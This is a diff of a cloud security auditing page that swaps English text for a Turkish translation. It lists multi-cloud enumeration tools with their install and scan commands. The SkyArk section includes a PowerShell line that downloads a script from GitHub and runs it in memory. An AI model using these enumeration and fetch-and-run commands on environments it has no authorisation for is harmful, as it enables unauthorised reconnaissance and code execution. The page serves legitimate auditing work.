Hangi kullanıcıların **admin** izinlerine sahip olduğunu bulmak **yeterli değildir** "\*:\*". Kullanılan hizmetlere bağlı olarak çok sayıda **diğer izin** çok **hassas** olabilir. +- Ayrıca, izinleri kötüye kullanarak takip edilebilecek **potansiyel privesc** yolları vardır. Tüm bu şeyler dikkate alınmalı ve **mümkün olduğunca fazla privesc yolu** rapor edilmelidir. +- **Entegrasyonları kontrol et** +- Bulut ortamında **diğer bulutlar veya SaaS ile entegrasyonların** kullanılması oldukça olasıdır. +- Denetlediğiniz bulutun **diğer platformlarla entegrasyonları** için, bu entegrasyonu **(kötüye) kullanma** erişimine sahip olanları bildirmeli ve gerçekleştirilen eylemin **ne kadar hassas** olduğunu sormalısınız.\ +Örneğin, GCP'den veri alan bir AWS bucket'ında kimlerin yazma yetkisi olduğunu sorun (GCP'de bu veriyi işlerken eylemin ne kadar hassas olduğunu sorun). +- Denetlediğiniz bulut içindeki **dış platformlardan entegrasyonlar** için, bu entegrasyonu **(kötüye) kullanma** erişimine sahip olanları sormalı ve verinin nasıl kullanıldığını kontrol etmelisiniz.\ +Örneğin, bir hizmet GCR'de barındırılan bir Docker görüntüsü kullanıyorsa, kimlerin bunu değiştirme erişimine sahip olduğunu ve bu görüntü çalıştırıldığında hangi hassas bilgilere ve erişimlere sahip olacağını sormalısınız. -## Multi-Cloud tools +## Çoklu Bulut Araçları -There are several tools that can be used to test different cloud environments. The installation steps and links are going to be indicated in this section. +Farklı bulut ortamlarını test etmek için kullanılabilecek birkaç araç vardır. Kurulum adımları ve bağlantılar bu bölümde belirtilecektir. ### [PurplePanda](https://github.com/carlospolop/purplepanda) -A tool to **identify bad configurations and privesc path in clouds and across clouds/SaaS.** +**Bulutlarda ve bulutlar/SaaS arasında kötü yapılandırmaları ve privesc yollarını tanımlamak için bir araç.** {{#tabs }} {{#tab name="Install" }} - ```bash # You need to install and run neo4j also git clone https://github.com/carlospolop/PurplePanda @@ -54,29 +53,25 @@ export PURPLEPANDA_NEO4J_URL="bolt://neo4j@localhost:7687" export PURPLEPANDA_PWD="neo4j_pwd_4_purplepanda" python3 main.py -h # Get help ``` - {{#endtab }} {{#tab name="GCP" }} - ```bash export GOOGLE_DISCOVERY=$(echo 'google: - file_path: "" - file_path: "" - service_account_id: "some-sa-email@sidentifier.iam.gserviceaccount.com"' | base64) +service_account_id: "some-sa-email@sidentifier.iam.gserviceaccount.com"' | base64) python3 main.py -a -p google #Get basic info of the account to check it's correctly configured python3 main.py -e -p google #Enumerate the env ``` - {{#endtab }} {{#endtabs }} ### [Prowler](https://github.com/prowler-cloud/prowler) -It supports **AWS, GCP & Azure**. Check how to configure each provider in [https://docs.prowler.cloud/en/latest/#aws](https://docs.prowler.cloud/en/latest/#aws) - +**AWS, GCP ve Azure**'ı destekler. Her sağlayıcının nasıl yapılandırılacağını kontrol edin [https://docs.prowler.cloud/en/latest/#aws](https://docs.prowler.cloud/en/latest/#aws) ```bash # Install pip install prowler @@ -91,14 +86,12 @@ prowler aws --profile custom-profile [-M csv json json-asff html] prowler --list-checks prowler --list-services ``` - ### [CloudSploit](https://github.com/aquasecurity/cloudsploit) AWS, Azure, Github, Google, Oracle, Alibaba {{#tabs }} -{{#tab name="Install" }} - +{{#tab name="Kurulum" }} ```bash # Install git clone https://github.com/aquasecurity/cloudsploit.git @@ -107,26 +100,22 @@ npm install ./index.js -h ## Docker instructions in github ``` - {{#endtab }} {{#tab name="GCP" }} - ```bash ## You need to have creds for a service account and set them in config.js file ./index.js --cloud google --config ``` - {{#endtab }} {{#endtabs }} ### [ScoutSuite](https://github.com/nccgroup/ScoutSuite) -AWS, Azure, GCP, Alibaba Cloud, Oracle Cloud Infrastructure +AWS, Azure, GCP, Alibaba Cloud, Oracle Cloud Altyapısı {{#tabs }} -{{#tab name="Install" }} - +{{#tab name="Kurulum" }} ```bash mkdir scout; cd scout virtualenv -p python3 venv @@ -135,42 +124,36 @@ pip install scoutsuite scout --help ## Using Docker: https://github.com/nccgroup/ScoutSuite/wiki/Docker-Image ``` - {{#endtab }} {{#tab name="GCP" }} - ```bash scout gcp --report-dir /tmp/gcp --user-account --all-projects ## use "--service-account KEY_FILE" instead of "--user-account" to use a service account SCOUT_FOLDER_REPORT="/tmp" for pid in $(gcloud projects list --format="value(projectId)"); do - echo "================================================" - echo "Checking $pid" - mkdir "$SCOUT_FOLDER_REPORT/$pid" - scout gcp --report-dir "$SCOUT_FOLDER_REPORT/$pid" --no-browser --user-account --project-id "$pid" +echo "================================================" +echo "Checking $pid" +mkdir "$SCOUT_FOLDER_REPORT/$pid" +scout gcp --report-dir "$SCOUT_FOLDER_REPORT/$pid" --no-browser --user-account --project-id "$pid" done ``` - {{#endtab }} {{#endtabs }} ### [Steampipe](https://github.com/turbot) {{#tabs }} -{{#tab name="Install" }} -Download and install Steampipe ([https://steampipe.io/downloads](https://steampipe.io/downloads)). Or use Brew: - +{{#tab name="Kurulum" }} +Steampipe'i indirin ve kurun ([https://steampipe.io/downloads](https://steampipe.io/downloads)). Ya da Brew kullanın: ``` brew tap turbot/tap brew install steampipe ``` - {{#endtab }} {{#tab name="GCP" }} - ```bash # Install gcp plugin steampipe plugin install gcp @@ -183,13 +166,11 @@ steampipe dashboard # To run all the checks from rhe cli steampipe check all ``` -
-Check all Projects - -In order to check all the projects you need to generate the `gcp.spc` file indicating all the projects to test. You can just follow the indications from the following script +Tüm Projeleri Kontrol Et +Tüm projeleri kontrol etmek için test edilecek tüm projeleri belirten `gcp.spc` dosyasını oluşturmanız gerekir. Aşağıdaki betikten gelen talimatları takip edebilirsiniz. ```bash FILEPATH="/tmp/gcp.spc" rm -rf "$FILEPATH" 2>/dev/null @@ -197,32 +178,30 @@ rm -rf "$FILEPATH" 2>/dev/null # Generate a json like object for each project for pid in $(gcloud projects list --format="value(projectId)"); do echo "connection \"gcp_$(echo -n $pid | tr "-" "_" )\" { - plugin = \"gcp\" - project = \"$pid\" +plugin = \"gcp\" +project = \"$pid\" }" >> "$FILEPATH" done # Generate the aggragator to call echo 'connection "gcp_all" { - plugin = "gcp" - type = "aggregator" - connections = ["gcp_*"] +plugin = "gcp" +type = "aggregator" +connections = ["gcp_*"] }' >> "$FILEPATH" echo "Copy $FILEPATH in ~/.steampipe/config/gcp.spc if it was correctly generated" ``` -
-To check **other GCP insights** (useful for enumerating services) use: [https://github.com/turbot/steampipe-mod-gcp-insights](https://github.com/turbot/steampipe-mod-gcp-insights) +**Diğer GCP içgörülerini** (hizmetleri listelemek için yararlıdır) kontrol etmek için: [https://github.com/turbot/steampipe-mod-gcp-insights](https://github.com/turbot/steampipe-mod-gcp-insights) -To check Terraform GCP code: [https://github.com/turbot/steampipe-mod-terraform-gcp-compliance](https://github.com/turbot/steampipe-mod-terraform-gcp-compliance) +Terraform GCP kodunu kontrol etmek için: [https://github.com/turbot/steampipe-mod-terraform-gcp-compliance](https://github.com/turbot/steampipe-mod-terraform-gcp-compliance) -More GCP plugins of Steampipe: [https://github.com/turbot?q=gcp](https://github.com/turbot?q=gcp) +Steampipe'ın daha fazla GCP eklentisi: [https://github.com/turbot?q=gcp](https://github.com/turbot?q=gcp) {{#endtab }} {{#tab name="AWS" }} - ```bash # Install aws plugin steampipe plugin install aws @@ -246,29 +225,27 @@ cd steampipe-mod-aws-compliance steampipe dashboard # To see results in browser steampipe check all --export=/tmp/output4.json ``` +Terraform AWS kodunu kontrol etmek için: [https://github.com/turbot/steampipe-mod-terraform-aws-compliance](https://github.com/turbot/steampipe-mod-terraform-aws-compliance) -To check Terraform AWS code: [https://github.com/turbot/steampipe-mod-terraform-aws-compliance](https://github.com/turbot/steampipe-mod-terraform-aws-compliance) - -More AWS plugins of Steampipe: [https://github.com/orgs/turbot/repositories?q=aws](https://github.com/orgs/turbot/repositories?q=aws) +Steampipe'ın daha fazla AWS eklentisi: [https://github.com/orgs/turbot/repositories?q=aws](https://github.com/orgs/turbot/repositories?q=aws) {{#endtab }} {{#endtabs }} ### [~~cs-suite~~](https://github.com/SecurityFTW/cs-suite) AWS, GCP, Azure, DigitalOcean.\ -It requires python2.7 and looks unmaintained. +python2.7 gerektirir ve bakımsız görünüyor. ### Nessus -Nessus has an _**Audit Cloud Infrastructure**_ scan supporting: AWS, Azure, Office 365, Rackspace, Salesforce. Some extra configurations in **Azure** are needed to obtain a **Client Id**. +Nessus'un _**Audit Cloud Infrastructure**_ taraması şunları destekler: AWS, Azure, Office 365, Rackspace, Salesforce. **Client Id** almak için **Azure**'da bazı ek yapılandırmalar gereklidir. ### [**cloudlist**](https://github.com/projectdiscovery/cloudlist) -Cloudlist is a **multi-cloud tool for getting Assets** (Hostnames, IP Addresses) from Cloud Providers. +Cloudlist, Bulut Sağlayıcılarından Varlıklar (Host Adları, IP Adresleri) almak için **çoklu bulut aracı**dır. {{#tabs }} {{#tab name="Cloudlist" }} - ```bash cd /tmp wget https://github.com/projectdiscovery/cloudlist/releases/latest/download/cloudlist_1.0.1_macOS_arm64.zip @@ -276,46 +253,40 @@ unzip cloudlist_1.0.1_macOS_arm64.zip chmod +x cloudlist sudo mv cloudlist /usr/local/bin ``` - {{#endtab }} -{{#tab name="Second Tab" }} - +{{#tab name="İkinci Sekme" }} ```bash ## For GCP it requires service account JSON credentials cloudlist -config ``` - {{#endtab }} {{#endtabs }} -### [**cartography**](https://github.com/lyft/cartography) +### [**harita çıkarma**](https://github.com/lyft/cartography) -Cartography is a Python tool that consolidates infrastructure assets and the relationships between them in an intuitive graph view powered by a Neo4j database. +Harita çıkarma, altyapı varlıklarını ve bunlar arasındaki ilişkileri Neo4j veritabanası tarafından desteklenen sezgisel bir grafik görünümünde birleştiren bir Python aracıdır. {{#tabs }} -{{#tab name="Install" }} - +{{#tab name="Kurulum" }} ```bash # Installation docker image pull ghcr.io/lyft/cartography docker run --platform linux/amd64 ghcr.io/lyft/cartography cartography --help ## Install a Neo4j DB version 3.5.* ``` - {{#endtab }} {{#tab name="GCP" }} - ```bash docker run --platform linux/amd64 \ - --volume "$HOME/.config/gcloud/application_default_credentials.json:/application_default_credentials.json" \ - -e GOOGLE_APPLICATION_CREDENTIALS="/application_default_credentials.json" \ - -e NEO4j_PASSWORD="s3cr3t" \ - ghcr.io/lyft/cartography \ - --neo4j-uri bolt://host.docker.internal:7687 \ - --neo4j-password-env-var NEO4j_PASSWORD \ - --neo4j-user neo4j +--volume "$HOME/.config/gcloud/application_default_credentials.json:/application_default_credentials.json" \ +-e GOOGLE_APPLICATION_CREDENTIALS="/application_default_credentials.json" \ +-e NEO4j_PASSWORD="s3cr3t" \ +ghcr.io/lyft/cartography \ +--neo4j-uri bolt://host.docker.internal:7687 \ +--neo4j-password-env-var NEO4j_PASSWORD \ +--neo4j-user neo4j # It only checks for a few services inside GCP (https://lyft.github.io/cartography/modules/gcp/index.html) @@ -326,17 +297,15 @@ docker run --platform linux/amd64 \ ## Google Kubernetes Engine ### If you can run starbase or purplepanda you will get more info ``` - {{#endtab }} {{#endtabs }} ### [**starbase**](https://github.com/JupiterOne/starbase) -Starbase collects assets and relationships from services and systems including cloud infrastructure, SaaS applications, security controls, and more into an intuitive graph view backed by the Neo4j database. +Starbase, bulut altyapısı, SaaS uygulamaları, güvenlik kontrolleri ve daha fazlası dahil olmak üzere hizmetlerden ve sistemlerden varlıkları ve ilişkileri Neo4j veritabanı tarafından desteklenen sezgisel bir grafik görünümünde toplar. {{#tabs }} {{#tab name="Install" }} - ```bash # You are going to need Node version 14, so install nvm following https://tecadmin.net/install-nvm-macos-with-homebrew/ npm install --global yarn @@ -359,44 +328,40 @@ docker build --no-cache -t starbase:latest . docker-compose run starbase setup docker-compose run starbase run ``` - {{#endtab }} {{#tab name="GCP" }} - ```yaml ## Config for GCP ### Check out: https://github.com/JupiterOne/graph-google-cloud/blob/main/docs/development.md ### It requires service account credentials integrations: - - name: graph-google-cloud - instanceId: testInstanceId - directory: ./.integrations/graph-google-cloud - gitRemoteUrl: https://github.com/JupiterOne/graph-google-cloud.git - config: - SERVICE_ACCOUNT_KEY_FILE: "{Check https://github.com/JupiterOne/graph-google-cloud/blob/main/docs/development.md#service_account_key_file-string}" - PROJECT_ID: "" - FOLDER_ID: "" - ORGANIZATION_ID: "" - CONFIGURE_ORGANIZATION_PROJECTS: false +- name: graph-google-cloud +instanceId: testInstanceId +directory: ./.integrations/graph-google-cloud +gitRemoteUrl: https://github.com/JupiterOne/graph-google-cloud.git +config: +SERVICE_ACCOUNT_KEY_FILE: "{Check https://github.com/JupiterOne/graph-google-cloud/blob/main/docs/development.md#service_account_key_file-string}" +PROJECT_ID: "" +FOLDER_ID: "" +ORGANIZATION_ID: "" +CONFIGURE_ORGANIZATION_PROJECTS: false storage: - engine: neo4j - config: - username: neo4j - password: s3cr3t - uri: bolt://localhost:7687 - #Consider using host.docker.internal if from docker +engine: neo4j +config: +username: neo4j +password: s3cr3t +uri: bolt://localhost:7687 +#Consider using host.docker.internal if from docker ``` - {{#endtab }} {{#endtabs }} ### [**SkyArk**](https://github.com/cyberark/SkyArk) -Discover the most privileged users in the scanned AWS or Azure environment, including the AWS Shadow Admins. It uses powershell. - +Tarayıcı AWS veya Azure ortamında en ayrıcalıklı kullanıcıları, AWS Shadow Admin'leri de dahil olmak üzere keşfedin. PowerShell kullanır. ```powershell Import-Module .\SkyArk.ps1 -force Start-AzureStealth @@ -405,18 +370,17 @@ Start-AzureStealth IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/cyberark/SkyArk/master/AzureStealth/AzureStealth.ps1') Scan-AzureAdmins ``` - ### [Cloud Brute](https://github.com/0xsha/CloudBrute) -A tool to find a company (target) infrastructure, files, and apps on the top cloud providers (Amazon, Google, Microsoft, DigitalOcean, Alibaba, Vultr, Linode). +Bir şirketin (hedef) altyapısını, dosyalarını ve en büyük bulut sağlayıcılarındaki (Amazon, Google, Microsoft, DigitalOcean, Alibaba, Vultr, Linode) uygulamalarını bulmak için bir araç. ### [CloudFox](https://github.com/BishopFox/cloudfox) -- CloudFox is a tool to find exploitable attack paths in cloud infrastructure (currently only AWS & Azure supported with GCP upcoming). -- It is an enumeration tool which is intended to compliment manual pentesting. -- It doesn't create or modify any data within the cloud environment. +- CloudFox, bulut altyapısında (şu anda yalnızca AWS ve Azure destekleniyor, GCP yakında gelecek) istismar edilebilir saldırı yollarını bulmak için bir araçtır. +- Manuel pentesting'i tamamlamak için tasarlanmış bir numaralandırma aracıdır. +- Bulut ortamında herhangi bir veri oluşturmaz veya değiştirmez. -### More lists of cloud security tools +### Daha fazla bulut güvenlik aracı listesi - [https://github.com/RyanJarv/awesome-cloud-sec](https://github.com/RyanJarv/awesome-cloud-sec) @@ -446,16 +410,12 @@ aws-security/ azure-security/ {{#endref}} -### Attack Graph +### Saldırı Grafiği -[**Stormspotter** ](https://github.com/Azure/Stormspotter)creates an “attack graph” of the resources in an Azure subscription. It enables red teams and pentesters to visualize the attack surface and pivot opportunities within a tenant, and supercharges your defenders to quickly orient and prioritize incident response work. +[**Stormspotter** ](https://github.com/Azure/Stormspotter), bir Azure aboneliğindeki kaynakların “saldırı grafiğini” oluşturur. Kırmızı takımlara ve pentesterlara saldırı yüzeyini ve bir kiracı içindeki pivot fırsatlarını görselleştirme imkanı tanır ve savunucularınızı olay yanıtı çalışmalarını hızlı bir şekilde yönlendirmek ve önceliklendirmek için güçlendirir. ### Office365 -You need **Global Admin** or at least **Global Admin Reader** (but note that Global Admin Reader is a little bit limited). However, those limitations appear in some PS modules and can be bypassed accessing the features **via the web application**. +**Global Admin** veya en azından **Global Admin Reader**'a ihtiyacınız var (ancak Global Admin Reader'ın biraz sınırlı olduğunu unutmayın). Ancak, bu sınırlamalar bazı PS modüllerinde ortaya çıkmakta ve özelliklere **web uygulaması aracılığıyla** erişerek aşılabilir. {{#include ../banners/hacktricks-training.md}} - - - -